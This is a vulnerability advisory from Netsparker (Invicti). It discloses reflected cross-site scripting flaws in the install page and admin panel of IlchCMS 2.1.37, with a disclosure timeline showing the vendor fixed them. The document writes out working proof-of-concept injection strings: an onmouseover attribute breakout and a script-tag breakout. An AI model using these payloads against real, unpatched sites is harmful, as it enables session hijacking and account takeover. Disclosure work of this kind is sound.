Cross-Site Scripting Vulnerabilities in IlchCMS 2.1.37


Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting in IlchCMS
Affected Software: IlchCMS
Affected Versions: 2.1.37
Vendor Homepage:
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-20-003

Technical Details

Cross-site Scripting in Install Page

URL: http://localhost:8001/ilch/index.php/install/index/indexx%22%20onmouseover=alert(0x003370)%20x=%22
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22

Cross-site Scripting in Admin Panel

Notes: For successful exploitation, payload may need to be sent without URL encoding. Modern browsers will encode the HTML tags in the request before it is being sent to the webserver, however it is still possible in Internet Explorer.
Proof URL:'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

1st September 2020 – First Contact
5th September 2020 – Vendor Fixed
10th September 2020 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing the Invicti Web Application Security Scanner.

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